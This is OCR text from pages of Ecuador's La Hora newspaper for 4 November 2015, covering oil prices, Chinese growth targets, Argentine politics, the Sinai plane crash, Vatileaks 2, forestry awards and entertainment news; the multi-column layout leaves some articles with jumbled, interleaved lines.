MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

I

NACIONAL

$ 47,90

El petróleo de Texas sube un 3,81%

NUEVA YORK, 3 NOV (EFE) • El precio del petróleo intermedio de Texas (WTI, de referencia para el crudo ecuatoriano) subió ayer un 3,81% y cerró en 47,90 dólares el barril, tras confirmarse reducciones de la producción en Brasil y en Libia y a la espera de conocerse las reservas semanales en Estados Unidos. Al final de la sesión de operaciones en la Bolsa Mercantil de Nueva York (Nymex), los contratos de futuros del petróleo WTI subieron 1,76 dólares respecto del cierre del pasado lunes. Según los analistas, el alza se debe principalmente a las noticias de reducciones del suministro llegadas desde el exterior. En el caso de Brasil, la huelga iniciada el domingo por los trabajadores vinculados a la mayor central sindical del sector petrolero del país comenzó ayer a afectar la producción de crudo.

Las proyecciones económicas chinas caen creciera un 6,9% interanual en PEKÍN, AFP • China dejó claro que ya no pretende crecer alrededor el tercer trimestre, su nivel mínidel 7%, al afirmar el presidente Xi mo desde la crisis financiera de Jinping que con un crecimiento de 2009. En el conjunto del año se 6,5% anual en los próximos cinco espera que el dato caiga a su nivel años bastará para cumplir con los más bajo en un cuarto de siglo. Muchos economistas estiman objetivos fijados para 2020. El ritmo de crecimiento que las cifras oficiales están inflaanual de la segunda economía das artificialmente, e inciden en mundial “no debe ser inferior” los malos datos de comercio extea 6,5%, para lograr la duplica- rior o en las últimas contracciones ción del Producto Interno Bruto de la actividad manufacturera. En respuesta, el gobierno chi(PIB) chino y de la renta media per cápita entre 2010 y 2020, no no deja de defender la “nueva normalidad” de un creciseñaló el presidente, citamiento económico ralendo en estilo indirecto por EL DATO tizado pero más sostenila agencia estatal Xinhua. Estos dos objetivos fue- Al mismo tiem- ble, fruto de sus esfuerzos para reequilibrar la ecoron confirmados el jueves, po, el gobierno Pekín sigue tras la reunión plenaria de de preocupado por nomía hacia el consumo los máximos responsables el empleo, para interno, los servicios y las la estanuevas tecnologías, y no del Partido Comunista preservar bilidad social. concentrarse tanto en las Chino (PCC, único), en exportaciones o inversiola que se fijó el 13er plan quinquenal con las líneas direc- nes directas. “En los cinco próximos años, trices político-económicas para el desarrollo de China no debe el periodo 2016-2020. Con un crecimiento del 6,5% concentrarse sólo en el ritmo anual en el próximo quinquenio, del crecimiento, sino también el presidente chino estima ade- (...) y de forma más importante, más que el país podrá sacar de en la calidad del crecimiento”, la pobreza en 2020 a más de 70 insistió Xi Jinping. Xu Shaoshi, presidente de la millones de chinos de zonas rurales que padecían ésta a fines de NDRC, la agencia de planificación china, abundó en ese senti2014, según la agencia Xinhua. Con su comentario, el presi- do ayer. “Evidentemente, la rapidez dente dejó claro que Pekín reduce su objetivo de crecimiento con del crecimiento no es el único respecto al “alrededor del 7%” criterio. En realidad nos preocupamos más del empleo, de los fijado para este año. Xi Jinping reconoce así algo ingresos de los habitantes y de que ya temían muchos econo- los precios”, dijo en una confemistas, después de que China rencia de prensa.

REPÚBLICA DEL ECUADOR

NATURALIZACIÓN DEL SEÑOR JORGE ANDRÉS MUÑOZ BERNAL De conformidad con lo dispuesto en los artículos 7 y 8 del Reglamento a la Ley de Naturalización se pone en conocimiento, que el ciudadano de nacionalidad colombiana JORGE ANDRÉS MUÑOZ BERNAL ha solicitado Carta de Naturalización en el Ecuador. De la documentación presentada se desprende que el peticionario reside ininterrumpidamente en el país desde el 10 de marzo de 2008 fecha en que la Unidad de Extranjería le otorgó la visa de inmigrante. De acuerdo con el artículo 11 de la Ley de Naturalización, cualquier persona, natural o jurídica, podrá presentarse al Ministerio de Relaciones Exteriores y Movilidad Humana para oponerse, fundamentadamente, a la concesión de la naturalización solicitada. Quito, 21 de septiembre de 2015 Carlos Andrés Martínez Bolaños, COORDINADOR ZONAL 9, ENCARGADO MINISTERIO DE RELACIONES EXTERIORES Y MOVILIDAD HUMANA PAP/64104/AS

VACACIONES. Largas filas en la estación de buses de Tulcán para el retorno del feriado.

Turistas ecuatorianos atascados en la terminal de Tulcán Los comparadores nacionales que pasaron la frontera sintieron la falta de buses.

Los 25 buses cobraron un dólar más, especialmente en las rutas Tulcán–Ibarra y Tulcán Quito; es decir 4 dólares a Ibarra y 8 a Quito, cuando regularmente se cobra 3 y 6 dólares respectivamente. Diariamente 115 buses de diferentes provincias llegan a la capital carchense. No obstante, en este feriado, esta flota vehicuTULCÁN • La sobreoferta de pasajeros en la Terminal Terres- lar no dio abasto. Consultados tre de Tulcán puso la tónica du- los viajantes sobre las razones rante el último día del festivo de del desplazamiento, en un 80%, Difuntos. Turistas de distintos coincidieron que se trasladaron sectores del país pugnaban has- a realizar compras en Colombia. Los taxistas aprovecharon ta la tarde de ayer por acceder a un boleto que les permita re- la ocasión para ofertar el sertornar a sus ciudades de origen. vicio de taxi ruta, cobrando 40 Esto, ya que en este feriado al dólares por pasajero en la ruta Tulcán – Quito. Martín menos unas 20.000 perPérez, quien debe presonas viajaron a Colom- EL DATO sentarse hoy a las 07:30 bia, la mayoría para realien su trabajo en el norte zar compras. Según datos calzado, de la Cámara de Comer- Ropa, confitería, artícu- de Quito, debió utilizar cio de Ipiales, Colombia, los de aseo, tele- este servicio. neumátiEl funcionario priva7.000 locales abrieron sus visores, cos y celulares fueron las artícu- do dijo que este valor (40 puertas este feriado para los preferidos por atender la masiva llegada los turistas ecua- dólares) no estuvo presupuestado en su viaje y que de ecuatorianos que iban torianos. jamás pensó encontrarse en busca de artículos más con una terminal colmada baratos, desde roa hasta de gente. Sin embargo, comentó electrodomésticos. Más de una docena de policías que la compra de dos celulares y y cuatro funcionarios de la Agen- una computadora portátil a bajo cia Nacional de Tránsito, ANT, precio compensaba los gastos desde las 06:00, ordenaban las adicionales. largas filas que hacían los viajeros en los exteriores de la terminal. Cambistas de moneda no fueron La ANT, desde el pasado jue- beneficiados ves, evita que se registren cobros Los cambistas de moneda de indebidos por parte de las opera- Tulcán aseguran que fueron doras de transporte interprovin- nuevamente los damnificados cial. Sin embargo, frente a la gran del feriado. Coinciden que los demanda de pasajeros, fueron in- compradores ecuatorianos en crementadas 25 frecuencias para su mayoría llegan en automosatisfacer la queja de los usuarios. tores particulares, razón por

Estrategias ° Harold Delgado, cambista, acepta que han disminuido las visitas

semanales de los viajeros de Ecuador, tras la imposición del pago de salvaguardas en la frontera terrestre de Rumichaca a varios artículos y productos colombianos y extranjeros que ingresan a Ecuador. Sin embargo, señala que se inteligencia una serie de estrategias para cautivar a los ecuatorianos, entre las que destaca la revisión de precios, promociones y ofertas. La Cámara de Comercio de Ipiales ahora espera una nueva invasión de ecuatorianos para el feriado del 5 y 6 de diciembre en Quito. Mientras que, los operativos de control en carreteras liderados por la Policía Nacional fue reforzado en las últimas horas para garantizar el denominado plan retorno. Patrulleros y motorizados fueron evidentes en la vía que comunica a Rumichaca con Quito.

la que deciden no ingresar a la ciudad y utilizar la Panamericana para llegar hasta el Puente Internacional de Rumichaca. Para Edwin Imbacuán, miembro de la Asociación de Cambistas ‘Isidro Ayora’, en cambio la venta de moneda fue escasa, debido a que los connacionales hacen sus compras con tarjetas de crédito en el vecino país colombiano. Harold Delgado, presidente de la Cámara de Comercio de Ipiales, confirma que un 80% de los consumidores ecuatorianos son tarjeta habientes. Advierte que existen dos beneficios al comprar con tarjetas: seguridad y recibir más pesos por un dólar. (CMRV)

GLOBAL I

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B7

MINUTERO FARC advierte que plazo para la paz en Colombia puede variar

LA HABANA, AFP • La guerrilla °comunista de las FARC advirtió

Cristina Fernández no deja solo a Scioli

PROPAGANDA. Las elecciones se han convertido en un espacio para una lucha ideológica pronunciada en Argentina.

El kirchnerismo dice que con Macri vienen las recetas neoliberales de la década de 1990. La gran incógnita política de las elecciones argentinas parece haber quedado resuelta: Cristina Fernández de Kirchner quiere ganar la segunda vuelta. Había dudas muy serias, sobre todo mientras mantuvo su prolongado silencio. Algunos interpretaban que prefería que su candidato, Daniel Scioli, perdiera frente a Mauricio Macri para poder convertirse ella en la líder de la oposición y así volver dentro de cuatro años como la chilena Michelle Bachelet. Esas dudas parecen despejadas. Fernández de Kirchner ha lanzado una orden clara al kirchnerismo: hay que ganar cueste lo que cueste. Lo hizo el jueves, y desde ese día la campaña contra Macri arrecia en todos los grupos fieles a la presidenta, en especial La Cámpora. Con la idea de que Macri viene a hacer un ajuste e incluso una política económica neoliberal como la de la última dictadura militar (1976-1983) el kirchnerismo intenta evitar una

BUENOS AIRES, EL PAÍS •

COMICIOS. La presidenta saliente, Cristina Fernández, ya trabaja en la candidatura de Daniel Scioli.

derrota el 22 de noviembre que ahora mismo los analistas dan como muy probable. Las diversas ramas del peronismo y de los grupos que han apoyado todos estos años a la presidenta, según señalan personas del kirchnerismo duro, están divididas en torno a Scioli. Hay muchas tensiones internas porque está asumido que es un mal candidato, que no ha sido capaz de aglutinar ni siquiera a todos los votantes fieles a la presidenta y sobre todo no ha ampliado ni un gramo el espacio kirchnerista, que en teoría era su principal virtud como hombre muy a la derecha de los Kirchner. La indignación con Scioli es muy fuerte en el mundo kirchnerista no solo político, sino también en el influyente entorno cultural. Sin embargo, la orden de la presidenta fue tajante el jueves, cuando estuvo más de tres horas

El fútbol en la lucha política Pero el kirchnerismo ideó no se quedó solo en los panfletos en la calle: ideó otro °sistema aún más eficaz, siempre con el fútbol de trasfondo, en un país en el que el deporte rey y la política son casi la misma cosa. Millones de argentinos estaban viendo el pasado domingo el Boca-Tigre que definía el campeonato. Lo emitía como siempre la televisión pública. El Estado paga a los equipos 200 millones de dólares al año para emitirlo gratis. En el intermedio se dan publicidades oficiales de la presidenta, un mecanismo político de enorme eficacia. Esta vez fueron más lejos. Nada más empezar el descanso, la televisión pública emitió un montaje en el que se comparaban los planes del ministro de Economía de la dictadura, Martínez de Hoz, con los proyectos de Macri.

Un ecuatoriano lidera la campaña de Macri El ecuatoriano Jaime Durán °Barba es el ideólogo de la campaña presidencial de Mauricio Macri. Lleva 10 años junto al actual jefe de Gobierno de la Ciudad de Buenos Aires, Mauricio Macri, quien pasó a al segunda vuelta electoral a solo dos puntos porcentuales del candidato

oficialista Daniel Scioli. “Hay un fenómeno –dijo Durán Barba en declaraciones a La Hora, la semana pasada- en todo el mundo que muy pocos políticos analizan. El público elector en general ha cambiado. En Polonia ganó un candidato que era considerado por sus opositores como exótico, en Colombia tuvimos el triunfo de los partidos independientes frente al uribismo y otras tendencias. Se vive una crisis general del los partidos”.

dando discursos en la Casa Ro- privados cercanos al Gobierno sada para sus grupos más fieles y lanzados para atacar al líder de en especial para los jóvenes: hay la oposición y los medios crítique conservar “el proyecto”, hay cos con el kirchnerismo, todos privados, con un tono cada vez que parar a Macri. El efecto fue inmediato. La más duro. Se da la paradoja de que el Cámpora se está moviendo por kirchnerismo trata de contodo el país con pintadas vencer a los ciudadanos contra Macri y folletos EL DATO de que con Macri vienen como el que repartían el las recetas neoliberales de domingo a la salida del El próximo 22 de estadio de Boca Juniors en noviembre es la los 90’ pero quien gobervuelta naba en esos años era el el partido clave en el que segunda presidencial. peronismo y precisamente se alzó con el campeonato Scioli entró en política en argentino: “Tus derechos o Macri”. En él se detalla que si ese momento de la mano de Cargana empeorará la salud, la edu- los Menem también en campaña cación, la jubilación, y el empleo. a favor del candidato. Los vídeos de Scioli defenAsí, el kirchnerismo se encarga de la campaña dura con- diendo las privatizaciones metra Macri mientras Scioli, con nemistas circulan tanto en Arun discurso más moderado, gentina estos días como los de trata de atraer a los votantes pe- Macri reinvindicando políticas ronistas que apoyaron a Sergio liberales o rechazando las naMassa, que logró un 21% de res- cionalizaciones kirchneristas. paldos y ahora está fuera de la Todo se mezcla en la política argentina, que lucha ahora para segunda vuelta. La guerra es ya sin cuartel, ver qué miedo puede más entre con los medios públicos y los los ciudadanos.

este martes que el plazo fijado de seis meses para firmar un acuerdo de paz en Colombia podría variar, al retomar las negociaciones en La Habana con el gobierno del presidente Juan Manuel Santos. Preguntado sobre si aún se mantiene el plazo de seis meses para firmar el acuerdo de paz con el gobierno colombiano, el comandante Carlos Antonio Lozada, plenipotenciario de las FARC, dijo a la prensa que “ese es un debate que habrá que analizar en la mesa cuando tratemos de ver en qué momento se cierra definitivamente el tema de justicia”.

Eurocámara envía misión a Venezuela para evaluar situación política

°

BRUSELAS, AFP • Tres diputados españoles del Parlamento Europeo viajarán a Venezuela del 4 al 7 de noviembre en una “misión exploratoria” para “evaluar la situación política” en el país y preparar el terreno a una visita de una delegación de la Eurocámara, indicó la institución en un comunicado. La “misión exploratoria” tiene por objetivo reunirse con representantes del gobierno venezolano y de las fuerzas opositoras. Los tres diputados, Ramón Jáuregui (del grupo socialista y copresidente de Eurolat), Gabriel Mato (PPE, conservador) y Fernando Maura (grupo ALDE, liberales), buscarán “evaluar la situación política y preparar el terreno para la visita de una delegación ad-hoc del Parlamento completa”.

Neurólogos de Cuba y Costa Rica visitaron a alumno de Ayotzinapa en coma MÉXICO, EFE • Dos neurólogos °extranjeros visitaron a Aldo

Gutiérrez, el estudiante que se encuentra en estado de coma desde que en septiembre de 2014 fue atacado a tiros en Iguala, y concluyeron su examen médico a partir del cual están trabajando en un diagnóstico, informó hoy la Comisión Ejecutiva de Atención a Víctimas (CEAV). El pasado viernes 30 de octubre finalizó la visita que los doctores Calixto Machado, de Cuba, y Mauricio Chinchilla, de Costa Rica, hicieron a México para evaluar el estado y las perspectivas de salud de Aldo Gutiérrez a petición de su familia.

CYAN MAGENTA YELLOW BLACK

CYAN MAGENTA YELLOW BLACK

GLOBAL B8

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

I

MINUTERO

NACIONAL

Comisión inspecciona el avión ruso siniestrado

Tres detenidos en Madrid vinculados al EI MADRID (EFE) • La Policía °española detuvo hoy en

Madrid a tres personas de origen marroquí acusadas de formar parte de un grupo vinculado a la organización terrorista Estado Islámico (EI) que estaban dispuestos a cometer atentados en España. Así lo confirmó el ministro del Interior, Jorge Fernández Díaz, quien consideró que al ser personas dispuestas a atentar en España supone “un salto cualitativo” importante.

China debe liderar cumbre del clima

°francés, François Hollande, PEKÍN (EFE) • El presidente

cree que China debe ejercer un papel de liderazgo en la cumbre del cambio climático que comenzará en París a finales de mes, un rol que se adecúa a los planes tanto internacionales como domésticos de la potencia asiática.

Al menos 23 muertos por bombardeos en Siria

°

BEIRUT (EFE) • Al menos 23 personas murieron ayer en varios bombardeos de aviones, que se desconoce si eran rusos o de la coalición internacional, liderada por EE.UU., en la ciudad siria de Al Raqa (noreste), principal bastión del grupo terrorista Estado Islámico (EI). El Observatorio Sirio de Derechos Humanos precisó que 10 de los muertos eran civiles y 13 eran seguidores de la organización yihadista.

AVIACIÓN. El accidente ocurrido en Egipto dejó 224 muertos.

En breve se analizarán las cajas negras de la aeronave accidentada en Egipto. Todos los expertos de la comisión técnica encargada de esclarecer la tragedia del avión ruso inspeccionaron ayer los fragmentos de la aeronave en el lugar del siniestro para luego comenzar con el análisis de las cajas negras. Integrada por expertos egipcios, rusos, alemanes, franceses e irlandeses, la comisión se reunió en la zona de Al Hasana, en la península egipcia del Sinaí, donde se estrelló el avión. Mientras tanto, un análisis de servicios de inteligencia de Estados Unidos ha descartado un ataque con misiles, como reivindica el grupo yihadista Estado Islámico (EI), informó la CNN, El director nacional de Inteligencia de EE.UU., James Clapper, dijo ayer que en este momento no hay ninguna “evi-

EL CAIRO, EFE •

dencia directa” de terrorismo en que se difunden sobre la causa de la tragedia son “prematuras y la catástrofe aérea. Clapper sostuvo también que no se basan en hechos o pruebas es “improbable” que el grupo yi- concretas”. El ministro también agregó hadista EI, cuya filial egipcia reivindicó el derribo del avión, ten- que existe “una cooperación toga capacidad para una operación tal” entre los integrantes de la comisión, que tiene “todas las de esta envergadura. El ministro egipcio de Avia- herramientas para llevar a cabo ción Civil, Hosam Kamal, infor- la investigación”. Los expertos franceses y mó de que se espera que concluya esta tarde las operaciones de alemanes acudieron en representación del fabricante búsqueda en el terreno Airbus, mientras que los y que a continuación co- EL DATO irlandeses estuvieron menzará el trabajo de inpresentes en la comisión vestigación. directivos de Estas labores de inves- Los MetroJet asegu- porque el avión estaba retigación incluyen el aná- ran que el apara- gistrado en Irlanda. estaba en perEl Airbus A-321 de la lisis de todas las pruebas to fectas condicioy de la información gra- nes, apuntaron a compañía rusa MetroJet una “acción bada en las cajas negras, mecánica exte- (Kogalymavia), que cucomo causa bría la ruta entre la ciuprecisó el ministro, según rior” del siniestro. dad egipcia de Sharm el las declaraciones difundiSheij y San Petersburgo, das por la agencia oficial se destruyó en el aire 23 minutos MENA. Se espera que el análisis de las después de despegar. La mayoría de los cadáveres cajas negras arroje luz sobre las confusas causas de la tragedia, ya han sido trasladados a Rusia. que causó la muerte el pasado En esta jornada salió del aerosábado a los 224 ocupantes del puerto de El Cairo un avión ruso con restos de víctimas mortales avión ruso. Al respecto, Kamal señaló del accidente hallados lejos del que todas las especulaciones lugar del suceso.

Satélite de EE.UU. detectó destello de calor °

WASHINGTON, AFP • Un satélite militar de Estados Unidos detectó un destello de calor sobre el Sinaí (Egipto) en el momento en que un avión de pasajeros ruso se estrelló recientemente, matando a las 224 personas que iban a bordo, informó la cadena estadounidense CNN el martes. La cadena televisiva hizo la afirmación citando a un funcionario estadounidense bajo anonimato, sin ahondar en más destalles de lo observado por el satélite. Según dijeron los funcionarios estadounidenses a CNN y otras cadenas de televisión locales, el satélite militar detectó un destello de calor en el momento del incidente, lo que “sugiere que un acontecimiento catastrófico se produjo durante el vuelo”, entre ellos se evalúa la posible explosión de una bomba, aunque los analistas estaban considerando además otras causas posibles.

‘El papa está solo’: autor de libro de Vatileaks 2 Emiliano Fittipaldi, autor de ‘Avarizia’, libro con documentos secretos del Vaticano, un escándalo que se ha ganado el sobrenombre de VatiLeaks 2, cuya filtración condujo a la detención del sacerdote español Lucio Vallejo Balda y la italiana Francesca Chaouqui, consideró que el papa “está bastante solo”. “Espero que este libro demuestre a todos cuáles son las reformas (...) que hay que hacer en la Iglesia, no solo una reforma estructural o la creación de un nuevo dicasterio (ministerio), sino que haya una verdadera transparencia”, dijo Fittipaldi a la prensa. “La Iglesia católica tiene un

ROMA, EFE •

compromiso ético y moral, so- que en los procesos de canonizabre todo para los creyentes, pero ción se cobra a los familiares de también para los no creyentes y los candidatos a beatos o santos. para los agnósticos (...) Espero “Hay algunos casos en los que los que el papa Francisco lo consiga. parientes de las personas que han muerto y que están a la esDebo decir que está baspera de ser beatificados y tante solo”, añadió. EL DATO canonizados pueden pagar Fittipaldi publica esta hasta 200.000, 300.000 o semana su libro, al igual el libro, 400.000 euros”, dijo. que el también italia- Según un fondo de Relata además que en no Gianluigi Nuzzi, con beneficencia 378 millo2010, la mayor parte del “Via Crucis”, y ambos tenía nes de euros y volúmenes se basan en nuca se utilizó en dinero que se recogió con beneficio de los documentos presun- causas para los el Óbolo de San Pedro, la institución que gestiona tamente filtrados por los pobres . las obras de caridad del detenidos Vallejo Balda -que permanece preso en el Papa, fue destinada a “gastos ordinarios y extraordinarios de Vaticano- y Chaouqui. Explicó que en su libro revela dicasterios e instituciones de la

Curia romana” y no a los más necesitados. “Cuando descubro que estos fondos no están siendo utilizados para la beneficencia sino para otras partidas, la cosa me sorprende aún más”, agregó. Fittipaldi criticó además al cardenal George Pell, prefecto de la Secretaría Económica vaticana, y consideró que su nombramiento por parte del papa Francisco fue “un error”. El Vaticano comunicó el lunes la detención el fin de semana de Vallejo Balda y de la seglar Chaouqui en el marco de una investigación por haber filtrado documentos y otro material considerados reservados.

LÍDER. El papa Francisco, en un acto religioso en la Santa Sede.

Premio ‘Sacha’ llegó a protectores responsables

mia.

Una exposición temporal que busca sensibilizar al público sobre la importancia que tienen los murciélagos en el mantenimiento del equilibrio ecológico de la naturaleza y en la agricultura, se realizará en el Jardín Botánico de Quito hasta febrero de 2016. Este evento, que permitirá conocer el mundo de estos mamíferos, es organizado por la Fundación Botánica de los Andes y cuenta con el apoyo del Ministerio de Agricultura y Ganadería, la Secretaría de Ambiente del Municipio de Quito y la Fundación EcoFondo con juntamente con el Programa de Conservación de Murciélagos del Ecuador (PCME).

El galardón también llegó al Cuerpo de °Bomberos por trabajar en el cuidado de

Animales de mucha utilidad

Reconocimiento Trabajo forestal

Los representantes de los 80 proyectos °presentados recibieron diplomas de reconocimiento.

se premió el trabajo realizado °porTambién gremios, organizaciones y la acade-

los bosques.

TRABAJOS. Los proyectos galardonados son ejecutados en bosques nativos con la colaboración de las comunidades.

Se presentaron 80 proyectos que buscan el uso y aprovechamiento sostenible de los bosques. Fueron galardonados 21. Las mejores prácticas forestales y de uso de madera de origen legal del país fueron galardonadas con el premio Sacha, una iniciativa de Ecuador Forestal, los ministerios del Ambiente (MAE) y de Agricultura, Ganadería, Acuacultura y Pesca (Magap), el Fondo Mundial para la Naturaleza (WWF), la Organización de las Naciones Unidas para la Alimentación (FAO) y la Red Internacional de Bambú y Ratán (Inbar). Se presentaron 80 proyectos, de los cuales, los 21 ganadores tienen influencia en Carchi, Manabí, Esmeraldas, Bolívar, Orellana, Cotopaxi, Morona Santiago, Los Ríos, Santa Elena, Pichincha, Guayas, Azuay, Loja, Guayas y Santo Domingo de los Tsáchilas. “Esta es una muestra de que en el país existen cientos de personas que todos los días trabajan por el bienestar del bosque, al respetar y usar adecuadamente los recursos”, señaló Juan Carlos Palacios, director de Ecuador Forestal. Los ganadores

Los organizadores dividieron el premio en siete categorías y se escogieron a tres ganadores en cada una de estas. En la de Proyecto de Plantaciones Forestales, los ganadores fueron la Corporación Forestal Ambiental de Manabí con un plan de reforestación en el que se involucró a los agricultores de la zona. En Manejo Forestal Sustentable en bosque nativo el premio fue otorgado al programa ‘La Mayronga’, que trabaja en el manejo de un bosque nativo en beneficio de las comunidades.

El programa de restauración forestal que se emprende en la parroquia 16 de Agosto (PaloraMorona Santiago), que quiere conservar y manejar sosteniblemente los bosques tropicales de la zona, ganó en la categoría Gestión Sostenible de los Bosques.

Los ‘jardineros de la noche’ estarán en Quito

GANADOR. Verónica Arias, Secretaria de Ambiente del Municipio de Quito, recibe el Premio Sacha de manos de Juan Carlos Palacios.

Muchos de los murciélagos se alimentan de insectos, por lo que ayudan en el control de plagas de cultivos, mientras que los que ingieren el néctar de las plantas contribuyen a la polinización de sus frutos. El nombre de ‘jardineros de la noche’ tiene relación con uno de los aspectos menos conocidos de estos: muchos se nutren de frutos silvestres y, al hacerlo, dispersan las semillas por donde vuelan, señala el comunicado del Jardín Botánico. Muy diversos

En Ecuador hay 170 especies de murciélagos, de los cuáles

PLANETA I

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B9

BENEFICIOS. A pesar de su aspecto, los murciélagos brindan muchos beneficios.

solo tres se alimentan de sangre (una de sangre de mamíferos y dos de sangre de aves) y el resto comen insectos, frutos, néctar de flores, peces, ranas, ratones, semillas y más. Es decir que cada especie tiene su propia dieta, explica el biólogo Diego Tirira. Hay blancos, anaranjados, rojos, negros, amarillos, grises, marrones, azulados… y no es nada raro encontrar individuos colgados de árboles o postes de luz en las ciudades, pero también prefieren vivir en cuevas, troncos, bajo rocas, entre la maleza y las hojas, bajo puentes, alcantarillas, techos de casa, en cualquier sitio donde encuentren refugio. (CM)

Más emprendimiento

Mientras que el plan de un manejo integrado de plagas para asegurar el estado fitosanitario de las plantaciones y su crecimiento potencial, impulsado por Aglomerados Cotopaxi, fue galardonado en la categoría de Investigación Forestal. En Concienciación y Comunicación Forestal el primer premio fue otorgado al Museo Interactivo de Enchapes Decorativos S.A., por generar conocimientos, actitudes y prácticas adecuadas en la población infanto-juvenil y adulta del país. En Uso innovador de madera y productos del bosque, el primer recompensado fue la Facultad de Arquitectura de la Universidad Central, pues trabajó en la recuperación y mejoramiento del espacio público en Cutuglagua (en Quito). Y en la séptima categoría, relacionada con la Repoblación y ornamentación urbana fue el Municipio de Cuenca que fue premiado por promover el desarrollo sostenible del territorio, generando transformaciones urbanas y sociales tomando en cuenta sus componentes naturales, ambientales, históricos, culturales y económicos. (CM) PAB/12702/AS

CYAN MAGENTA YELLOW BLACK

CYAN MAGENTA YELLOW BLACK

NACIONAL

TEMPO B10

‘No fue la depresión lo que lo mató’ ROBIN WILLIAMS

tiempo lectura 15 min.

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora ECUADOR

E

La viuda del fallecido actor habla por primera vez con la prensa sobre la muerte del artista en agosto de 2014.

CAITLYN JENNER

Quiere desnudarse

MÉXICO • Como parte de su transformación a mujer,

planea mostrarse desnuda en un libro, reveló la revista OK. De acuerdo con ese medio, Jenner desea llevar su cambio a otro nivel y quitárselo todo. Hace semanas se dijo que Kris Jenner, la ex de Caitlyn, también planea desnudarse para festejar sus 60 años. EL UNIVERSAL

NICOLE KIDMAN

Quiere ser una ‘heroína’ La actriz se encuentra negociando con Warner Bros para sumarse al elenco de ‘La Mujer Maravilla’, cinta que protagonizará la otrora estrella de ‘Rápido y Furioso’, Gal Gadot. Según informa Variety, Kidman lleva varias semanas de conversaciones con la compañía que la quiere en el papel de una guerrera amazónica. AGENCIAS

MÉXICO, AGENCIAS · Susan Schneider, la viuda de Robin Williams, habló entre lágrimas de su última conversación con su esposo en la primera entrevista que concede tras el trágico fallecimiento del actor, en agosto de 2014 a los 63 años. “Buenas noches, mi amor”, fueron las últimas palabras que le dedicó el intérprete a su esposa antes de fallecer, según relata ella en la revista People. Schneider se refirió también a la demencia con cuerpos de Lewy (DCL), la enfermedad neurodegenerativa que sufría el ganador de un Oscar por ‘El indomable Will Hunting’. “No fue la depresión lo que mató a Robin. La depresión fue uno de los 50 síntomas que tenía y fue pequeño”, asegura su viuda. “Yo estaba en la cama y él vino a la habitación un par de veces. Me dijo ‘buenas noches mi amor’ y se marchó con su iPad. Parecía que tenía algo que hacer y pensé: ‘Esto significa que está mejorando’. Y esa fue la última vez”, ha relatado Schneider en la entrevista a la revista norteamericana. La DCL es la enfermedad neurodegenerativa más común después del Alzhéimer y causa fluctuaciones en el estado de ánimo, alucinaciones y deterioro de la función motora.

que le pasaba al protagonista de ‘El club de los poetas muertos’, pero su esposa reconoció que ahora sabe que los doctores estaban haciendo lo correcto. “Es solo que esta enfermedad era más rápida y más grande que nosotros. El final era, de igual manera, la muerte”, explica.

Susan Schneider ha contado que todo este sufrimiento le ha aportado conocimientos para poder ayudar a otras personas que sufran DCL. “Robin era muy consciente de que estaba perdiendo el juicio y que no había nada que se pudiera hacer al respecto. Pido a Dios que arroje algo de luz sobre la enfermedad que sufren millones de personas y sus familiares con ellos”, afirma la viuda. La tercera esposa de Robin Williams no ha hablado sobre la disputa por la herencia que mantiene con los hijos del actor. Aunque parece que ya ha llegado a su fin, la batalla ha sido larga.

EL DATO Williams procreó tres hijos: Zelda, de 26 años; Cody, de 23 y Zak, de 32, descendientes de matrimonios pasados del actor.

Degenerativo

PSY

Su primer álbum

La productora de Psy, autor del tema ‘Gangnam Style’ que mantiene el récord absoluto de visitas en YouTube, anunció ayer que el cantante surcoreano lanzará su primer álbum el próximo primero de diciembre, acostumbrado a sacar singles. El álbum será su nuevo trabajo en más de un año y contará con el productor de ‘Gangnam Style’. AGENCIAS

Los síntomas que sufría Robin Williams, a causa de su afección, empeoraron en los meses previos a su suicidio. “Experimentó ataques de ansiedad que lo paralizaban. Una vez, calculó mal al cerrar una puerta y acabó con la cabeza ensangrentada y rigidez muscular y era incapaz de decir qué le había pasado. Sin embargo, su equipo de médicos no pudo identificar qué le pasaba hasta que le realizaron la autopsia”, cuenta Susan. Durante aquellos duros momentos, la familia no sabía a quién culpar o cómo solucionar lo

ESTILO. El carisma del humorista era reconocido a nivel mundial por sus populares películas.

Estrellas en la red

TEMPO

¿Se tatuó a Emma Watson? El actor estadounidense James Franco compartió una foto en Facebook e Instagram que dejó a sus seguidores sorprendidos. Esta controversial estrella de Hollywood supuestamente se tatuó el rostro de la actriz Emma Watson en el cuello. En la imagen se lee ‘Emma’. Franco ha hecho bromas con tatuajes falsos. (CC)

E

MIÉRCOLES 04 DE NOVIEMBRE DE 2015 La Hora, ECUADOR

B11

Su último deseo viene con salsa

Un popular tema de la desaparecida Sharon es inerpretado por la talentosa cantante en ritmo tropical. LA ‘CHINA’ BERRUZ

GUAYAQUIL • ‘Mi

último deseo’ es uno de los temas que causó furor popular cuando fue interpretado por la ahora fallecida Sharon ‘La Hechicera’. Ahora, el tema vuelve convertido en salsa, pero en la voz de Adriana ‘La China Berruz’. La artista, conocida también como ‘La China de la rockola’, está convencida que la emblemática canción chicha bailable, a más de ser un justo homenaje a “La Hechicera”, está alcanzando marcas importantes entre el público que la escucha a través de la plataforma YouTube. Berruz, mientras destaca el trabajo realizado para hacer que la canción guste y se baile, deja en claro que la salida del tema en estos días, es una coincidencia y no un aprovechamiento de la situación judicial que soporta la familia por la muerte de la ‘Diva Criolla’. Entre pasillos La ‘China’, cuya capacidad de interpretación la ha llevado a incursionar en el campo del pasillo, san Juanito, vals, albazos, en otros géneros propios de Ecuador, dice que ‘Mi último deseo es un cover de Rubén Castellanos con arreglos de Pedro Chinga Jr., en género paseíto orquestado. “El tema tropical lo queríamos hacer unos años atrás, pero como estábamos en pleno apogeo de la rockola, lo dejamos para después, para EL DATO no hacer un movimiento un poco brusco”, señala. siete años Una vez dejada esa fa- Con de carrera, esta manabita espera ceta de su carrera, Berruz merenha llegado a inscribir su cantar gue para ubicarnombre entre los solistas y se como una artista multifacantautores del país. Ella se cética de la hizo conocer con el tema roc- música. kolero ‘Perro sucio’. De ahí que sostiene que la canción está sonando con fuerza en Estados Unidos y Europa; sin embrago, explica que su principal especialidad que es la rockola no lo va a dejar, sino que incursionará en lo tropical. “Vamos hacer los dos lados igual como lo hacen otros compañeros de trabajo. Hay acogida y estos nos empuja a seguir dándole duro”, 